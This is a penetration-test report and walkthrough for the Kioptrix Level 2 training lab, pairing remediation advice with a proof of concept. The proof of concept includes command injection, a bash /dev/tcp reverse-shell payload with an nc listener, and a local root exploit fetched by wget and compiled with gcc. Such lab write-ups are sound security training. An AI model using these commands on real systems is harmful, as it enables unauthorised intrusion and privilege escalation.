|  |  |
| --- | --- |
| Describe | Vulnerability |
| Services | http |
| Port | 80 |
| Versions | 4.5 |
| severity | medium |
| Cve I’d | N/A |
| Cvss score | 8/10 |
| Remediations | 1. Outdated Software Components:  Vulnerability: The system runs older versions of services such as OpenSSH 3.9p1 and Apache 2.0.52, which contain known vulnerabilities.  Remediation:  Regular Updates: Implement a patch management process to ensure all software components are updated to their latest stable versions, addressing known security flaws.  2. Weak SSH Configuration:  Vulnerability: The SSH service supports both SSH protocol versions 1.99 and 2.0.  Remediation:  Protocol Enforcement: Configure the SSH service to accept only the more secure SSH protocol version 2.  Strong Authentication: Enforce the use of strong, unique passwords and consider implementing key-based authentication to enhance security.  3. Web Application Vulnerabilities:  Vulnerability: The web application hosted on the server is susceptible to SQL injection attacks, allowing unauthorized access to the backend database.  Remediation:  Input Validation: Implement robust input validation to ensure that user-supplied data is properly sanitized before processing.  Use of Prepared Statements: Utilize prepared statements with parameterized queries to prevent SQL injection vulnerabilities.  4. Command Injection Vulnerabilities:  Vulnerability: Certain functionalities within the web application are vulnerable to command injection, allowing attackers to execute arbitrary commands on the server.  Remediation:  Command Handling: Avoid using user input directly in system commands. Employ safer alternatives or ensure proper sanitization of inputs.  Least Privilege Principle: Run applications with the minimum privileges necessary to limit the potential impact of a successful exploit.  5. Insecure Network Services:  Vulnerability: Services like RPC (port 111) and CUPS (port 631) are exposed, which could be exploited by attackers.  Remediation:  Service Hardening: Disable unnecessary services and ensure that essential services are securely configured.  Firewall Implementation: Deploy firewalls to restrict access to critical services based on IP addresses and ports. |
| POC | Step 1  First I find my ip in kali linix    now I do netdiscover for getting victim ip add    I get as you see  Now I do nmap for getting open ports    Lot of ports are open as you see  Step 2  Port no 80 an 443 open lets see website now how its look like    Here is how its looks  Now I try “OS” command for seeking some informations    As we see OS command execute easily now I use reverse shell payload for getting privileges  But first I use nc for listening  Step 3  nc -lvnp 5430  | bash -i >& /dev/tcp/192.168.1.105/5430 0>&1 (for reverse shell payload)    As you see listening are on now and I get reverse connection  First I find the os version of machine after that I make payload with the help of Metasploit    As you see I get centos Version 4.5 now I find vulnerability in Metasploit having or not    As you see I get exploit of centos 4.5 now I mirror and save that file in my linux  Searchsploit -m linux\_x86/local/9542.c  After doing this cmd that file get mirror and save in my kali linux  Step 4  Now I start my python server to import that file in reverse connetion        For importing that file in this vuln machine I use ‘wget cmd’  “ Wget <http://192.168.1.105:8080/9542.c> “  As you see that file uploaded successfully now I use gcc cmd for compiling    Gcc -o crack 9542.c  ./crack  And done I get root acces as you see |
| References | https://ethicalhackers.club/kioptrix-level-2-vulnhub-complete-walkthrough-guide/ |

CSV :-[..\Kioptrix..lvl.2.csv](../Kioptrix..lvl.2.csv)